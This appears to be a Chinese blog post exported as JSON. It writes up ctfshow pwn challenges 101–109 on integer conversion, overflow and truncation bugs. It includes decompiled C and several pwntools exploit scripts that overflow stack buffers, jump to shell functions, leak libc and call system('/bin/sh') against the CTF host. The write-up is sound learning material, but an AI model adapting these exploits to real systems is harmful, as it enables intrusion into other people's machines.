{"id":444,"date":"2025-05-29T03:06:16","date_gmt":"2025-05-28T19:06:16","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=444"},"modified":"2025-05-29T03:06:16","modified_gmt":"2025-05-28T19:06:16","slug":"%e6%95%b4%e6%95%b0%e5%ae%89%e5%85%a8","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=444","title":{"rendered":"\u6574\u6570\u5b89\u5168"},"content":{"rendered":"\n

pwn101\uff08\u6574\u6570\u8f6c\u6362\u3001\u6574\u6570\u6bd4\u8f83\uff09<\/h2>\n\n\n\n

\u6ca1\u5565\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981\u6c42\u8f93\u5165\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u4ea4\u4e92\u5c31\u597d\u4e86<\/p>\n\n\n\n

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; \/\/ [rsp+0h] [rbp-10h] BYREF
  int v5; \/\/ [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; \/\/ [rsp+8h] [rbp-8h]
\u200b
  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts(\"Maybe these help you:\");
  useful();
  v4 = 0x80000000;
  v5 = 0x7FFFFFFF;
  printf(\"Enter two integers: \");
  if ( (unsigned int)__isoc99_scanf(\"%d %d\", &v4, &v5) == 2 )
  {
    if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
      gift();
    else
      printf(\"upover = %d, downover = %d\\n\", v4, v5);
    return 0;
  }
  else
  {
    puts(\"Error: Invalid input. Please enter two integers.\");
    return 1;
  }
}<\/code><\/pre>\n\n\n\n
v4\u662f\u4e2a\u65e0\u7b26\u53f7\u6570\uff0cv5\u662f\u6709\u7b26\u53f7\u6570<\/p>\n\n\n\n
\u5728x86-64\u7cfb\u7edf\u4e0a\uff0c\u6574\u6570\u7c7b\u578b\uff08int\u548cunsigned int\uff09\u7684\u5927\u5c0f\u90fd\u662f4\u5b57\u8282\uff0c\u5e76\u4e14\u5b83\u4eec\u7684\u5b58\u50a8\u65b9\u5f0f\u90fd\u662f\u4e8c\u8fdb\u5236\u8865\u7801\u3002<\/p>\n\n\n\n
\u56e0\u6b64\uff0c\u5f53\u6211\u4eec\u4f7f\u7528%d\u8bfb\u53d6\u65f6\uff0c\u5b83\u4f1a\u5c06\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u89e3\u91ca\u4e3a\u4e00\u4e2a\u6709\u7b26\u53f7\u6574\u6570\uff0c\u5e76\u5c06\u8be5\u6574\u6570\u7684\u4f4d\u6a21\u5f0f\u76f4\u63a5\u5b58\u50a8\u5230v4\u7684\u5185\u5b58\u4e2d\uff08\u56e0\u4e3av4\u7684\u5730\u5740\u88ab\u4f20\u9012\u7ed9\u4e86scanf\uff0c\u800cscanf\u4e0d\u77e5\u9053v4\u662f\u65e0\u7b26\u53f7\u7684\uff0c\u5b83\u53ea\u662f\u6309\u7167%d\u7684\u89c4\u5219\u5199\u5165\u4e00\u4e2a32\u4f4d\u6709\u7b26\u53f7\u6574\u6570\uff09<\/p>\n\n\n\n
\u6240\u4ee5\u9700\u8981\u6ce8\u610f\u7684\u70b9\u5c31\u662f%d<\/code>\u8fd9\u79cd\u53ef\u4ee5\u5b8c\u6210\u6709\u7b26\u53f7\u548c\u65e0\u7b26\u53f7\u6570\u7684\u9690\u853d\u8f6c\u6362<\/p>\n\n\n\n
\u8be5\u9898\u76ee\u4e2d\uff0c\u7528\u6709\u7b26\u53f7\u8fd8\u662f\u65e0\u7b26\u53f7\u6548\u679c\u4e00\u6837\uff0c0x80000000 = -2147483648\/2147483648\u90fd\u80fd\u7528<\/p>\n\n\n\n
16\u8fdb\u5236\u8f6c\u503c\u4e3a10\u8fdb\u5236\uff0cnc\u4ea4\u4e92\u8fdb\u5165gift\u51fd\u6570<\/p>\n\n\n\n
gift\u91cc\u9762\u6709cat \/flag<\/p>\n\n\n\n
\u76f4\u63a5\u62ff\u5230<\/p>\n\n\n\n
pwn102\uff08\u6574\u6570\u8f6c\u6362\u3001\u6574\u6570\u6bd4\u8f83\uff09<\/h2>\n\n\n\n
\u66f4\u6ca1\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981V4\u503c\u4e3a-1.\u4ea4\u4e92\u8f93\u5165\u8fdb\u53bb\u7684\u5c31\u662fV4\uff0c\u5199\u4e2a-1\u8fdb\u53bb\u5c31\u62ff\u5230flag<\/p>\n\n\n\n
\u540e\u65e5\u8c08\uff1a \u5b9e\u9645\u4e0a\u8fd8\u662f\u6709\u70b9\u8bf4\u6cd5\u7684\uff0c\u901a\u8fc7%u<\/code>\u4e5f\u9020\u6210\u4e86\u6709\u7b26\u53f7\u548c\u65e0\u7b26\u53f7\u6570\u7684\u9690\u853d\u8f6c\u6362<\/p>\n\n\n\n
\u8fd9\u91cc\u867d\u7136\u8f93\u5165-1\u4e5f\u884c<\/p>\n\n\n\n
\u4f46\u662f-1\u662f\u4e00\u4e2a\u6709\u7b26\u53f7\u6570<\/p>\n\n\n\n
\u901a\u8fc7%u\u624d\u53d8\u6210\u7684\u65e0\u7b26\u53f7\u6570<\/p>\n\n\n\n
\u5982\u56fe\uff0c\u5f53\u7528%d\u7684\u65f6\u5019\uff0c\u4f1a\u6b63\u5e38\u88ab\u8ba4\u4e3a\u662f-1<\/p>\n\n\n\n
\u4f46\u662f\u4e00\u65e6\u6362\u6210%u\uff0c-1\u4f1a\u88ab\u89e3\u6790\u4e3a4294967295<\/p>\n\n\n\n
\u6240\u4ee5\uff0c\u8f93\u5165-1\u624d\u80fd\u6ee1\u8db3if\u5224\u65ad<\/p>\n\n\n\n
\u5f53\u7136\u5982\u679c\u76f4\u63a5\u8f93\u51654294967295\uff0c\u90a3\u4e48\u7ecf\u8fc7%u\u5b83\u4e0d\u4f1a\u6539\u53d8<\/p>\n\n\n\n
\u4e5f\u80fd\u76f4\u63a5\u8fc7if\u5224\u65ad<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
pwn103\uff08\u6574\u6570\u6bd4\u8f83\u3001\u7b26\u53f7\u9519\u8bef\uff08\u6709\u7b26\u53f7\u8bfb\u53d6\uff0c\u65e0\u7b26\u53f7\u4f7f\u7528\uff09\uff09<\/h2>\n\n\n\n
\u5173\u952e\u5185\u5bb9\u90fd\u5728ctfshow\u51fd\u6570\u4e2d<\/p>\n\n\n\n
ctfshow\u51fd\u6570\u4ee3\u7801\u903b\u8f91\u5206\u6790<\/h3>\n\n\n\n
    \n
  1. \u8f93\u5165\u957f\u5ea6<\/strong>\uff1aprintf(“Enter the length of data (up to 80): “);
    __isoc99_scanf(“%d”, &v1);\u8fd9\u91cc\u8981\u6c42\u7528\u6237\u8f93\u5165\u6570\u636e\u7684\u957f\u5ea6\uff0c\u5e76\u5b58\u50a8\u5728\u53d8\u91cfv1<\/code>\u4e2d\u3002\u5982\u679c\u8f93\u5165\u7684v1<\/code>\u5927\u4e8e80\uff0c\u7a0b\u5e8f\u4f1a\u76f4\u63a5\u9000\u51fa\uff1aif ( v1 <= 80 )
    {
    \u00a0 …
    }
    else
    {
    \u00a0 \u00a0puts(“Invalid input! No cookie for you!”);
    }\u56e0\u6b64\uff0c\u8f93\u5165\u7684\u957f\u5ea6\u5fc5\u987b\u5c0f\u4e8e\u6216\u7b49\u4e8e80\uff0c\u624d\u80fd\u7ee7\u7eed\u6267\u884c\u3002<\/li>\n\n\n\n
  2. \u8f93\u5165\u6570\u636e<\/strong>\uff1aprintf(“Enter the data: “);
    __isoc99_scanf(” %[^\\n]”, dest);\u8fd9\u91cc\u8981\u6c42\u7528\u6237\u8f93\u5165\u6570\u636e\uff0c\u5e76\u5b58\u50a8\u5728dest<\/code>\u6570\u7ec4\u4e2d\u3002dest<\/code>\u6570\u7ec4\u7684\u5927\u5c0f\u662f88\u5b57\u8282\uff0c\u56e0\u6b64\u7406\u8bba\u4e0a\u53ef\u4ee5\u5b58\u50a8\u6700\u591a87\u4e2a\u5b57\u7b26\uff08\u52a0\u4e0a\u4e00\u4e2a\u5b57\u7b26\u4e32\u7ed3\u675f\u7b26\\0<\/code>\uff09\u3002<\/li>\n\n\n\n
  3. \u5185\u5b58\u62f7\u8d1d<\/strong>\uff1amemcpy(dest, src, v1);\u8fd9\u91cc\u5c06src<\/code>\u7684\u5185\u5bb9\u62f7\u8d1d\u5230dest<\/code>\u4e2d\uff0c\u62f7\u8d1d\u7684\u957f\u5ea6\u662fv1<\/code>\u3002\u7136\u800c\uff0csrc<\/code>\u88ab\u521d\u59cb\u5316\u4e3a0LL<\/code>\uff0c\u5373\u7a7a\u6307\u9488\u3002\u5982\u679cv1<\/code>\u5927\u4e8e0\uff0cmemcpy<\/code>\u4f1a\u5c1d\u8bd5\u4ece\u7a7a\u6307\u9488\u62f7\u8d1d\u6570\u636e\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u672a\u5b9a\u4e49\u884c\u4e3a\uff08\u5982\u7a0b\u5e8f\u5d29\u6e83\uff09\u3002\u4f46\u5982\u679cv1<\/code>\u4e3a0\uff0cmemcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u56e0\u4e3a\u62f7\u8d1d\u957f\u5ea6\u4e3a0\u3002<\/li>\n\n\n\n
  4. \u6761\u4ef6\u5224\u65ad<\/strong>\uff1aif ( (unsigned __int64)dest > 0x1BF52 )
    \u00a0 \u00a0gift();\u8fd9\u91cc\u5224\u65addest<\/code>\u7684\u5730\u5740\u662f\u5426\u5927\u4e8e0x1BF52<\/code>\u3002\u7531\u4e8edest<\/code>\u662f\u4e00\u4e2a\u5c40\u90e8\u53d8\u91cf\uff0c\u5176\u5730\u5740\u901a\u5e38\u5728\u6808\u4e0a\uff0c\u4e14\u5730\u5740\u503c\u901a\u5e38\u8fdc\u5927\u4e8e0x1BF52<\/code>\uff0c\u56e0\u6b64\u8fd9\u4e2a\u6761\u4ef6\u5f88\u5bb9\u6613\u6ee1\u8db3\u3002<\/li>\n<\/ol>\n\n\n\n
    \u8f93\u5165\u4e24\u6b210\u7684\u903b\u8f91<\/h3>\n\n\n\n
      \n
    1. \u7b2c\u4e00\u6b21\u8f93\u51650<\/strong>\uff1a\n
        \n
      • \u8f93\u5165\u957f\u5ea6v1<\/code>\u4e3a0\u3002<\/li>\n\n\n\n
      • \u7a0b\u5e8f\u4f1a\u8981\u6c42\u8f93\u5165\u6570\u636e\uff0c\u4f46\u56e0\u4e3av1<\/code>\u4e3a0\uff0cmemcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u3002<\/li>\n\n\n\n
      • dest<\/code>\u6570\u7ec4\u7684\u5185\u5bb9\u4e0d\u4f1a\u88ab\u4fee\u6539\uff0c\u4ecd\u7136\u662f\u672a\u521d\u59cb\u5316\u7684\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n
      • \u7b2c\u4e8c\u6b21\u8f93\u51650<\/strong>\uff1a\n
          \n
        • \u518d\u6b21\u8f93\u5165\uff0c\u63a7\u5236\u7684\u662fdest<\/code><\/li>\n\n\n\n
        • v1<\/code>\u4ecd\u7136\u4e3a0\uff0cmemcpy<\/code>\u4ecd\u7136\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n
        • \u6761\u4ef6\u5224\u65ad<\/strong>\uff1a\n
            \n
          • \u7531\u4e8edest<\/code>\u7684\u5730\u5740\uff08\u5728\u6808\u4e0a\uff09\uff0c\u901a\u5e38\u8fdc\u5927\u4e8e0x1BF52<\/code>\uff0c\u6761\u4ef6((unsigned __int64)dest > 0x1BF52)<\/code>\u6210\u7acb\u3002<\/li>\n\n\n\n
          • \u56e0\u6b64\uff0c\u65e0\u8bba\u7b2c\u4e8c\u6b21\u8f93\u5165\u4ec0\u4e48\u6570\uff0c\u7a0b\u5e8f\u90fd\u4f1a\u8c03\u7528gift()<\/code>\u51fd\u6570\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n
            \u6f0f\u6d1e\u603b\u7ed3<\/h3>\n\n\n\n
            \u8fd9\u4e2a\u6f0f\u6d1e\u7684\u6839\u672c\u539f\u56e0\u662f\uff1a<\/p>\n\n\n\n
              \n
            • src<\/code>\u88ab\u521d\u59cb\u5316\u4e3a0LL<\/code>\uff0c\u4f46\u6ca1\u6709\u68c0\u67e5src<\/code>\u662f\u5426\u4e3a\u6709\u6548\u6307\u9488\u3002<\/li>\n\n\n\n
            • v1<\/code>\u4e3a0\u65f6\uff0cmemcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u4f46\u7a0b\u5e8f\u6ca1\u6709\u5bf9\u8fd9\u79cd\u60c5\u51b5\u8fdb\u884c\u7279\u6b8a\u5904\u7406\u3002<\/li>\n\n\n\n
            • \u6761\u4ef6((unsigned __int64)dest > 0x1BF52)<\/code>\u8fc7\u4e8e\u5bbd\u677e\uff0c\u5bb9\u6613\u88ab\u6ee1\u8db3\u3002<\/li>\n<\/ul>\n\n\n\n
              \u56e0\u6b64\uff0c\u901a\u8fc7\u8fde\u7eed\u8f93\u5165\u4e24\u6b210\uff0c\u53ef\u4ee5\u7ed5\u8fc7memcpy<\/code>\u7684\u6f5c\u5728\u5d29\u6e83\uff0c\u5e76\u6ee1\u8db3\u6761\u4ef6\u8c03\u7528gift()<\/code>\u51fd\u6570\u3002<\/p>\n\n\n\n
              \u6240\u4ee5\u8fdb\u5165gift\u51fd\u6570\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n
              pwn104\uff08\u6574\u6570\u6ea2\u51fa\u3001\u6574\u6570\u8f6c\u6362\uff09<\/h2>\n\n\n\n
              \u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u5f88\u6807\u51c6\u7684\u6574\u6570\u6ea2\u51fa\u7136\u540e\u4f9d\u9760\u5df2\u5199\u7684that\u51fd\u6570\u8fdb\u884c\u63d0\u6743<\/p>\n\n\n\n
              \u7b2c\u4e00\u6b21\u4f20\u5165\uff0c\u4f20\u9012\u7684\u503c\u662f\u8bfb\u53d6buf\u7684\u957f\u5ea6\uff0c\u5199\u957f\u70b9\u5c31\u884c\u4e86\uff0c\u65e0\u6240\u8c13\u7684<\/p>\n\n\n\n
              \u4f60\u95ee\u6211\u6574\u6570\u8f6c\u6362\u5728\u54ea\uff1fsize_t nbytes\u88ab\u7a0b\u5e8f\u7528%d\u8bfb\u53d6\uff0csize_t \u662f\u4e2a\u65e0\u7b26\u53f7\u6574\u6570\u7c7b\u578b\uff0c\u6240\u4ee5\u8f6c\u6362\u6709\u4e86\uff08\uff09<\/p>\n\n\n\n
              from pwn import *
              p = remote(\"pwn.challenge.ctf.show\",28302)
              payload = b'a'*(0xe+8) + p64(0x000000000040078D)
              p.sendline(b'21321')
              p.sendline(payload)
              p.interactive()<\/code><\/pre>\n\n\n\n
              pwn105\uff08\u6574\u6570\u622a\u65ad\uff09<\/h2>\n\n\n\n
              \u5b58\u5728\u63d0\u6743\u51fd\u6570\uff0c\u62ff\u5230\u5730\u5740<\/p>\n\n\n\n
              dest\u6ea2\u51fa\u4e00\u4e0b\uff0c0x11+4<\/p>\n\n\n\n
              v3\u662fint 8<\/p>\n\n\n\n
              \u5b9e\u9645\u4e0a\u5c31\u662f\u4e8c\u8fdb\u5236\u53d6\u516b\u4f4d\u7684\u503c<\/p>\n\n\n\n
              \u4e5f\u5c31\u662f\u8bf4\uff0c\u80fd\u53d6\u7684\u6700\u5927\u503c\u662f 1111 1111 = 255<\/p>\n\n\n\n
              \u6240\u4ee5\u8981\u60f3\u7ed5\u8fc7if\u6761\u4ef6\u5224\u65ad<\/p>\n\n\n\n
              \u5c31\u9700\u8981255+1\uff08\u8fd9\u4e2a1\u662f\u56e0\u4e3a\u8fd8\u9700\u8981\u7b97\u4e0a0\u8fd9\u4e2a\u503c\uff0c\u5171256\u4e2a\u503c\uff09+ 4 ~~~264<\/p>\n\n\n\n
              ljust\u65b9\u6cd5\u586b\u5145\u4e00\u4e0b\u5783\u573e\u6570\u636e\u5c31\u884c\u4e86<\/p>\n\n\n\n
              char *__cdecl ctfshow(char *s)
              {
                char dest[8]; \/\/ [esp+7h] [ebp-11h] BYREF
                unsigned __int8 v3; \/\/ [esp+Fh] [ebp-9h]
              \u200b
                v3 = strlen(s);
                if ( v3 <= 3u || v3 > 8u )
                {
                  puts(\"Authentication failed!\");
                  exit(-1);
                }
                printf(\"Authentication successful, Hello %s\", s);
                return strcpy(dest, s);
              }<\/code><\/pre>\n\n\n\n
              exp:<\/p>\n\n\n\n
              from pwn import *
              p = remote(\"pwn.challenge.ctf.show\",28175)
              shell = 0x0804870E
              payload = b'a'*(0x11+4) + p32(shell)
              payload = payload.ljust(260,b'a')
              p.sendline(payload)
              p.interactive()<\/code><\/pre>\n\n\n\n
              pwn106\uff08\u6574\u6570\u622a\u65ad\uff09<\/h2>\n\n\n\n
              \u548c105\u5de8\u50cf<\/p>\n\n\n\n
              \u6839\u636e\u5b9e\u9645\u4ea4\u4e92\u6548\u679c\u641e\u4e0aru\u6b63\u786e\u4ea4\u4e92\u5c31\u597d\u4e86<\/p>\n\n\n\n
              from pwn import *
              # context.log_level = 'debug'
              p = remote(\"pwn.challenge.ctf.show\",28231)
              shell = 0x08048919
              payload = b'a'*(0x14+4) + p32(shell)
              payload = payload.ljust(260,b'a')
              # cat_flag = shell
              # payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234
              p.recvuntil(b'choice:')
              p.sendline(b'1')
              p.recvuntil(b'username:')
              p.sendline(b' ')
              p.recv()
              p.sendline(payload)
              \u200b
              p.interactive()<\/code><\/pre>\n\n\n\n
              \uff08\u8fd8\u6709\u4e9b\u8bb8\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u88ab\u6ce8\u91ca\u6389\u7684payload\u4e5f\u80fd\u7528\uff0c\u4e3a\u4ec0\u4e48\u540e\u8865\u9f50\u7684\u5783\u573e\u6570\u636e\u957f\u5ea6\u662f234\uff0c\u4e0d\u5c31\u5e94\u8be5\u662f256+3~~~256+7\u5417\uff0c\u5947\u5947\u602a\u602a\u7684\uff09<\/p>\n\n\n\n
              pwn107\uff08ret2libc\u3001\u6574\u6570\u6ea2\u51fa\u3001\u6574\u6570\u8f6c\u6362\uff09<\/h2>\n\n\n\n
              \u4e3b\u51fd\u6570\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684<\/p>\n\n\n\n
              \u8ddf\u8fdb<\/p>\n\n\n\n
              int show()
              {
                char nptr[32]; \/\/ [esp+1Ch] [ebp-2Ch] BYREF
                int v2; \/\/ [esp+3Ch] [ebp-Ch]
              \u200b
                printf(\"How many bytes do you want me to read? \");
                getch(nptr, 4);
                v2 = atoi(nptr);
                if ( v2 > 32 )
                  return printf(\"No! That size (%d) is too large!\\n\", v2);
                printf(\"Ok, sounds good. Give me %u bytes of data!\\n\", v2);
                getch(nptr, v2);
                return printf(\"You said: %s\\n\", nptr);
              }<\/code><\/pre>\n\n\n\n
              \u4e24\u4e2agetch\uff0c\u4e24\u6b21\u8f93\u5165<\/p>\n\n\n\n
              int __cdecl getch(int a1, unsigned int a2)
              {
                unsigned int v2; \/\/ eax
                int result; \/\/ eax
                char v4; \/\/ [esp+Bh] [ebp-Dh]
                unsigned int i; \/\/ [esp+Ch] [ebp-Ch]
              \u200b
                for ( i = 0; ; ++i )
                {
                  v4 = getchar();
                  if ( !v4 || v4 == 10 || i >= a2 )
                    break;
                  v2 = i;
                  *(_BYTE *)(v2 + a1) = v4;
                }
                result = a1 + i;
                *(_BYTE *)(a1 + i) = 0;
                return result;
              }<\/code><\/pre>\n\n\n\n
              \u8ddf\u8fdbgetch\u51fd\u6570\u53d1\u73b0\u8fd9\u4e2a\u5b9e\u9645\u4e0a\u5c31\u662f\u4e2a\u7c7bgets\u51fd\u6570<\/p>\n\n\n\n
              a2\u5c31\u662f\u62ff\u6765\u9650\u5b9a\u8bfb\u53d6\u957f\u5ea6\u7684<\/p>\n\n\n\n
              \u5176\u4ed6\u7684\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684<\/p>\n\n\n\n
              \u56de\u5230show\u51fd\u6570<\/p>\n\n\n\n
              \u7b2c\u4e00\u6b21\uff0cgetch(nptr,4)<\/p>\n\n\n\n
              \u4e5f\u5c31\u662fnptr\u4f5c\u4e3a\u8f93\u5165\u5b57\u7b26\uff0c\u8bfb\u53d6\u957f\u5ea6\u4e3a4<\/p>\n\n\n\n
              \u60f3\u8981\u4e0d\u9000\u51fashow\u51fd\u6570\uff0c\u9700\u8981\u8fc7\u6761\u4ef6\u5224\u65ad\uff0c\u6761\u4ef6\u5224\u65ad\u7684\u662fv2\u4e0d\u80fd\u5927\u4e8e32<\/p>\n\n\n\n
              \u56de\u5230getch\uff0c\u8f93\u5165\u7684\u5b57\u7b26\u88ab\u4fdd\u5b58\u4e3av4<\/p>\n\n\n\n
              \u7136\u540ev4\u4f1a\u88abatio\u51fd\u6570\u5f3a\u5236\u8f6c\u6362\u4e3a\u6574\u6570<\/p>\n\n\n\n
              \u7136\u540ev4\u53c2\u4e0eif\u6761\u4ef6\u5224\u65ad<\/p>\n\n\n\n
              \u90a3\u73b0\u5728\u8003\u8651\u600e\u4e48\u8fc7\u8fd9\u4e2a\u5224\u65ad<\/p>\n\n\n\n
              \u7b2c\u4e00\u662f\u8981\u6bd432\u5c0f\uff0cshow\u51fd\u6570\u624d\u80fd\u7ee7\u7eed<\/p>\n\n\n\n
              \u7b2c\u4e8c\u662f\u8981\u5728\u7b2c\u4e8c\u6b21\u8f93\u5165\uff0c\u4e5f\u5c31\u662fgetch(nptr,v4)\u7684\u65f6\u5019\u9020\u6210\u4e00\u4e2a\u5b58\u5728\u6808\u6ea2\u51fa\u7684\u6f0f\u6d1e\u70b9\u51fa\u6765<\/p>\n\n\n\n
              \u5b9e\u9645\u4e0a\u8003\u8651\u4e00\u4e0b\u4f20\u5165-1\uff0c\u5c31\u53ef\u4ee5\u53d1\u73b0\u5b83\u8fd9\u4e2a\u503c\u5f88\u6709\u7528<\/p>\n\n\n\n
              1\u3001\u7b2c\u4e00\u6b21\u4f20\u5165\u540e\uff0cchar nptr = \u201c-1\u201d<\/p>\n\n\n\n
              2\u3001v2 = atoi(nptr) \u8fd9\u91ccatoi\u5c06\u5b57\u7b26\u8f6c\u53d8\u4e3a\u6574\u6570\uff0c\u800c-1\u5c31\u80fd\u4ee5\u6574\u6570\u7684\u5f62\u5f0f\u8f85\u52a9\u8fc7if\u6761\u4ef6\u5224\u65ad<\/p>\n\n\n\n
              3\u3001\u7b2c\u4e8c\u6b21getch\u51fd\u6570\uff0cv2\u4f5c\u4e3a\u7684\u662fgetch\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff0cv2\u5728show\u51fd\u6570\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u662f\u6709\u7b26\u53f7\u6574\u6570\uff0c\u4f46\u662f\u8fdb\u5165getch\u540e\uff0c\u8eab\u4e3a\u7b2c\u4e8c\u4e2a\u53c2\u6570\u7684\u5b83\u88ab\u5b9a\u4e49\u4e3a\u65e0\u7b26\u53f7\u6574\u6570\uff0c\u800c-1\u88ab\u89e3\u91ca\u4e3a\u65e0\u7b26\u53f7\u6574\u6570\u7684\u8bdd\uff0c\u53c2\u8003pwn102\u7684\u56fe\u7247\uff0c\u4f1a\u88ab\u89e3\u91ca\u4e3a\u4e00\u4e2a\u6781\u5927\u7684\u6574\u6570<\/p>\n\n\n\n
              \u90a3\u4e48\u5c31\u5bfc\u81f4\u4e86\uff0cgetch(nptr,v2) <=====>getch(nptr,4294967295)<\/p>\n\n\n\n
              \u524d\u9762\u4e5f\u8bf4\u4e86\uff0cgetch\u51fd\u6570\u57fa\u672c\u4e0a\u53ef\u4ee5\u770b\u4f5c\u662f\u4e00\u4e2a\u7a0d\u5b89\u5168\u7684gets\u51fd\u6570\uff0c\u4f46\u662f\u8fd9\u91cc\u54ea\u6015\u9650\u5b9a\u4e86\u8bfb\u53d6\u957f\u5ea6\uff0c\u4ecd\u7136\u901a\u8fc7\u6574\u6570\u8f6c\u6362\u5bfc\u81f4\u4e86\u6f0f\u6d1e\u4ea7\u751f\uff0c\u5f62\u6210\u6808\u6ea2\u51fa<\/p>\n\n\n\n
              \u7136\u540e\u5c31\u662f\u5f88\u57fa\u7840\u7684ret2libc\u7684\u6784\u9020\u4e86<\/p>\n\n\n\n
              \u6ca1\u770b\u5230puts\uff0c\u90a3printf\u9876\u4e0a\u5c31\u597d\u4e86<\/p>\n\n\n\n
              \u6cc4\u9732\u4e00\u4e2aprintf@libc \u4e0d\u592a\u591f\u7528\uff0c\u591a\u6cc4\u6f0f\u4e00\u4e2a__libc_start_main\u5c31\u597d\u4e86<\/p>\n\n\n\n
              \u7136\u540e\u627e\u5230\u5bf9\u5e94\u7684libc\u6587\u4ef6<\/p>\n\n\n\n
              \u7136\u540e\u5c31\u662f\u5f88\u5e38\u89c4\u5f88\u5e38\u89c4\u7684\u4e1c\u897f\u4e86<\/p>\n\n\n\n
              \u9700\u8981\u586b\u5145\u7684\u5783\u573e\u6570\u636e\u957f\u5ea6\u4e3anptr\u8fd9\u4e2a\u7f13\u51b2\u533a\u7684\u957f\u5ea6\uff0c\u4e5f\u5c31\u662f0x2c + 4<\/p>\n\n\n\n
              exp:<\/p>\n\n\n\n
              from pwn import *
              context.log_level = 'debug'
              #io = process('.\/pwn107')
              io = remote('pwn.challenge.ctf.show',28281)
              elf = ELF('.\/pwn107')
              libc = ELF('.\/libc6-i386_2.27-3ubuntu1_amd64.so')
              main = elf.symbols['main']
              printf_plt = elf.plt['printf']
              printf_got = elf.got['__libc_start_main']
              #printf_got = elf.got['printf']
              io.recvuntil('read?')
              io.sendline('-1')
              io.recvuntil('\\n')
              payload = cyclic(0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)
              io.sendline(payload)
              io.recvuntil('\\n')
              printf = u32(io.recv(4))
              print(hex(printf))
              libc_base = printf - libc.sym['__libc_start_main']
              system = libc_base + libc.sym['system']
              bin_sh = libc_base + next(libc.search(\"\/bin\/sh\"))
              io.recvuntil('read?')
              io.sendline('-1')
              io.recvuntil('\\n')
              payload = cyclic(0x2c+4) + p32(system) + p32(main) + p32(bin_sh)
              io.sendline(payload)
              io.interactive()<\/code><\/pre>\n\n\n\n
              \uff08\u5bc6\u7801\u7684\uff0c\u8fdc\u7a0b\u672c\u5730\u73af\u5883\u4e0d\u4e00\u81f4\uff0c\u62ff\u8fdc\u7a0b\u7684libc\u7248\u672c\u4e3a\u51c6\uff0c\u6211\u5c31\u8bf4\u600e\u4e48\u53ef\u80fd\u6cc4\u9732\u7684libc\u4e0d\u5bf9\uff09<\/p>\n\n\n\n
              pwn108<\/h2>\n\n\n\n
              \u6ca1\u770b\u61c2\uff0c\u65e5\u540e\u518d\u8bf4<\/p>\n\n\n\n
              pwn109<\/h2>\n\n\n\n
              \u6ca1\u73a9\u660e\u767d\uff0c\u4e3a\u4ec0\u4e48ret = stack + 0x41C\uff1f<\/p>\n\n\n\n
              \u4e0d\u8be5\u662f0x40C\u5417\uff1f<\/p>\n\n\n\n
              \u5176\u4ed6\u7684\u5012\u662f\u597d\u61c2<\/p>\n\n\n\n
              \u9009\u62e9\u9009\u98791\uff0c\u8fd9\u4f1a\u8c03\u7528sub_8A4<\/code>\u51fd\u6570\uff08\u5728exp\u4e2d\u5bf9\u5e94io.sendlineafter('Quit!!!\\n','1')<\/code>\uff09\u3002<\/p>\n\n\n\n
              \u8fd9\u4e2a\u51fd\u6570\u4f1a\u6253\u5370\u51fabuf\u7684\u5730\u5740\uff08\u901a\u8fc7printf(\"%x\\n\", buf)<\/code>\uff09\uff0c\u7136\u540e\u8bfb\u53d6\u7528\u6237\u8f93\u5165\u5230buf\u4e2d\u3002<\/p>\n\n\n\n
              \u56e0\u6b64\uff0cio.recvuntil('\\n')<\/code>\u63a5\u6536\u5230\u7684\u662fbuf\u7684\u5730\u5740\uff08\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\uff09\uff0c\u7136\u540e\u8f6c\u6362\u4e3a\u6574\u6570\uff0c\u8d4b\u503c\u7ed9stack<\/code>\u3002<\/p>\n\n\n\n
              \u6240\u4ee5\uff0cstack<\/code>\u53d8\u91cf\u5c31\u662fbuf\u7684\u8d77\u59cb\u5730\u5740\u3002<\/p>\n\n\n\n
              payload = fmtstr_payload(16, {ret:stack})<\/p>\n\n\n\n
              \u8fd9\u662f\u5229\u7528pwntools\u7684fmtstr_payload\u51fd\u6570\u6765\u751f\u6210\u4e00\u4e2a\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\uff0c\u7528\u4e8e\u5c06ret<\/code>\u5730\u5740\u5904\u7684\u503c\u4fee\u6539\u4e3astack<\/code>\uff08\u5373buf\u7684\u5730\u5740<\/p>\n\n\n\n
              \u751f\u6210payload\u540e\uff0c\u5c06\u5176\u901a\u8fc7\u9009\u98791\uff08Input something\uff09\u5199\u5165buf\u3002<\/p>\n\n\n\n
              \u7136\u540e\u9009\u62e9\u9009\u98792\uff08Hang out\uff09\u89e6\u53d1\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff08\u8c03\u7528fmt(buf)\uff09\uff0c\u4ece\u800c\u5c06\u8fd4\u56de\u5730\u5740\u4fee\u6539\u4e3abuf\u5730\u5740\u3002<\/p>\n\n\n\n
